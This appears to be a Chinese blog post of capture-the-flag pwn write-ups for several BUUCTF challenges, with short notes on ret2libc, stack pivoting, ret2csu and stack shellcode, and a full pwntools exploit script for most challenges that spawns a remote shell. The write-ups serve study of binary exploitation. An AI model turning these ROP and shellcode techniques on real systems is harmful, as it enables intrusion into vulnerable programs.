• BUU-pwn(四)


    [HarekazeCTF2019]baby_rop2

    64位程序,ret2libc ROP即可

    exp

    from pwn import *
    context(os='linux', arch='i386', log_level='debug')
    
    r = remote('node4.buuoj.cn',29388)
    #r = process('./babyrop2')
    elf = ELF('./babyrop2')
    libc = ELF('./libc.so.6')
    
    rdi = 0x400733
    rsi = 0x400731
    format_string = 0x400770 # %s
    read_got = elf.got['read']
    print_got = elf.got['printf']
    printf_plt = elf.plt['printf']
    main = elf.sym['main']
    
    r.recvuntil("What's your name? ")
    payload = b'a'*(0x20+8)+p64(rdi)+p64(format_string)+p64(rsi)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main)
    #payload = b'a'*(0x20+8)+p64(rdi)+p64(read_got)+p64(printf_plt)+p64(main)
    r.sendline(payload)
    
    read_addr=u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
    log.info("read_addr: "+hex(read_addr))
    
    offset = read_addr - libc.symbols['read']
    system = offset + libc.symbols['system']
    bin_sh = offset + libc.search(b'/bin/sh').__next__()
    
    payload2=b'a'*(0x20+8)+p64(rdi)+p64(bin_sh)+p64(system)+p64(main)
    
    r.recvuntil("What's your name? ")
    r.sendline(payload2)
    
    r.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34

    ciscn_2019_es_2(栈迁移)

    好文共赏,读完必会:栈迁移原理介绍与应用

    首先main函数存在溢出点,无法写shellcode到bss段,所以能利用的点,只有把system等写到缓冲区s的地址,然后利用栈迁移控制eip的值,利用下面再分析

    存在system函数


    既然要写到 s 的地址,目标机器栈上地址要被泄露出来,然后根据本地调试出来的偏移,去准确的锁定目标机器的 s 地址,通过printf可以泄露目前栈上ebp的值(即main函数的基地址),现在本地调试偏移

    一个断点下到printf,查看stack情况,输入的aaaa到了 0xffffd160,main函数的ebp在0xffffd198 二者相差了0x38


    寻找 leave ; ret指令

    exp

    from pwn import *
    context(os='linux', arch='i386', log_level='debug')
    
    r = remote('node4.buuoj.cn',26776)
    
    # leave: mov esp,ebp;
    #        pop ebp;
    # ret: pop eip;
    
    leave_ret = 0x080484b8
    system_addr = 0x08048400
    
    # 泄漏 ebp
    payload = b'a'*0x27+b'b'
    r.send(payload)
    r.recvuntil('b')
    ebp_addr = u32(r.recv(4))
    log.info("ebp_addr =>"+hex(ebp_addr))
    
    payload2 = b'aaaa'
    payload2+= p32(system_addr)
    payload2+= p32(0)
    payload2+= p32(ebp_addr - 0x28) # system need a address
    payload2+= b'/bin/sh\x00'
    payload2 = payload2.ljust(0x28,b'a')
    
    payload2+= p32(ebp_addr - 0x38) # pop ebp => change ebp to evil ebp
    payload2+= p32(leave_ret) # ret -> leave_ret;change esp
    
    r.sendline(payload2)
    r.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31

    babyheap_0ctf_2017(堆)

    好家伙,直接干到堆了,先去学习一下

    jarvisoj_tell_me_something

    64位栈溢出,这题有个坑点,所以以后还是多看一手汇编代码


    直接sub rsp,88h,将栈顶指针减了88h给v4变量,然后结束里面的函数栈帧后直接add后就是ret指令,没有rbp的事情,所以payload直接padding加ret地址就行了

    exp

    from pwn import *
    context(os='linux', arch='i386', log_level='debug')
    
    r = remote('node4.buuoj.cn',28031)
    
    payload = b'a'*0x88+p64(0x400620)
    r.sendlineafter('Input your message:\n',payload)
    r.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    ciscn_2019_s_3

    ret2csu

    64位,vuln函数存在系统调用

    在这里插入图片描述
    32位:

    传参方式:首先将系统调用号 传入 eax,然后将参数 从左到右 依次存入 ebx,ecx,edx寄存器中,返回值存在eax寄存器

    调用号:sys_read 的调用号 为 3 ,sys_write 的调用号 为 4

    调用方式: 使用 int 80h 中断进行系统调用

    64位:

    传参方式:首先将系统调用号 传入 rax,然后将参数 从左到右 依次存入 rdi,rsi,rdx寄存器中,返回值存在rax寄存器

    调用号:sys_read 的调用号 为 0 ,sys_write 的调用号 为 1

    stub_execve 的调用号 为 59

    stub_rt_sigreturn 的调用号 为 15

    from pwn import *
    from LibcSearcher import *
    
    context(os='linux', arch='amd64', log_level='debug')
    context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']
    
    
    r = remote("node4.buuoj.cn",28398)
    #r = process('./level3')
    #r = gdb.debug("./level3","b main")
    
    
    elf = ELF('./ciscn_s_3')
    main = elf.symbols['main']
    syscall = 0x0400517
    pop_rdi = 0x04005a3
    pop6_ret = 0x040059a
    rdx_rsi_call = 0x0400580
    int59 = 0x04004E2
    vuln = 0x04004ED
    
    payload = b'/bin/sh\x00'*2+p64(vuln)
    r.sendline(payload)
    r.recv(0x20)
    bin_sh = u64(r.recv(8))-0x118
    log.info("bin_sh -> "+hex(bin_sh))
    
    payload = b'/bin/sh\x00'*2+p64(pop6_ret)+p64(0)*2+p64(bin_sh+0x50)+p64(0)*3+p64(rdx_rsi_call)
    payload += p64(int59)+p64(pop_rdi)+p64(bin_sh)+p64(syscall)
    r.sendline(payload)
    
    r.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32

    jarvisoj_level3

    ret2libc,exp

    from pwn import *
    from LibcSearcher import *
    
    context(os='linux', arch='amd64', log_level='debug')
    context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']
    
    
    r = remote("node4.buuoj.cn",26164)
    #r = process('./level3')
    #r = gdb.debug("./level3","b main")
    
    
    elf = ELF('./level3')
    #lib = ELF('./libc-2.23.so')
    
    write_plt = elf.plt['write']
    write_got = elf.got['write']
    main = 0x0804844B
    
    payload = b'a'*0x88+b'b'*0x4
    payload += p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
    r.sendlineafter('Input:\n',payload)
    write_addr = u32(r.recv(4))
    log.success('write_addr: ' + str(hex(write_addr)))
    
    
    lib = LibcSearcher('write',write_addr)
    offset = write_addr - lib.dump('write')
    sys_addr = lib.dump('system') + offset
    #binsh_addr = lib.search(b'/bin/sh').__next__() + offset
    binsh_addr = lib.dump('str_bin_sh') + offset
    
    log.success('sys_addr: '+ str(hex(sys_addr)))
    log.success('bin/sh_addr: ' + str(hex(binsh_addr)))
    
    payload2 = b'a'*0x88+b'b'*0x4
    payload2 += p32(sys_addr) + b'a'*0x4 + p32(binsh_addr)
    
    r.sendline(payload2)
    r.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40

    ez_pz_hackover_2016

    栈可执行

    程序逻辑如下


    写shellcode到栈中,利用溢出点,ret到shellcode的地址。但是这道题,栈中覆盖到ebp的距离不是0x32,26个字节就已经覆盖ebp了。

    payload = b'crashme\x00'+b'a'*18 + b'b'*4   # 8+18=26 覆盖ebp,4覆盖ret
    
    • 1


    现在已经能控制ret的地址了,再往栈上写shellcode,本地调试出偏移,利用泄露的s的地址减去偏移就是shellcode的地址,再ret到这里完成shell!

    payload = b'crashme\x00'+b'a'*18 + b'b'*4 + b'test' 
    
    • 1

    相差0x1c偏移

    from pwn import *
    from LibcSearcher import *
    
    context(os='linux', arch='i386', log_level='debug')
    context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']
    
    r = remote("node4.buuoj.cn",28657)
    #r = process('./ez_pz_hackover_2016')
    #r = gdb.debug("./ez_pz_hackover_2016","b * 0x08048602")
    
    r.recvuntil("crash: ")
    s_addr=int(r.recv(10),16)
    shellcode = asm(shellcraft.sh())
    payload = b"crashme\x00" + b"a"*18 + p32(s_addr-0x1c) + shellcode
    r.sendlineafter('> ',payload)
    
    r.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
  • 相关阅读:
    什么样的leader,是一个好leader!
    【react】精选5题
    Scratch 第十六课-弹珠台游戏
    “淘宝” 开放平台接口设计思路|开放平台接口接入流程教程
    批量快捷创建新数组的几种方式
    ESP8266制作的1.44寸TFT显示屏太空人天气时钟(st7735)(增加农历显示)(抄作业)
    【初始RabbitMQ】工作队列的实现
    beego语言golang编程语言安装bee : 无法将“bee”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。
    Python编程 字典创建
    【Kotlin学习】Kotlin的类型系统——基本数据类型和其他基本类型、集合与数组
  • 原文地址:https://blog.csdn.net/qq_53263789/article/details/125363993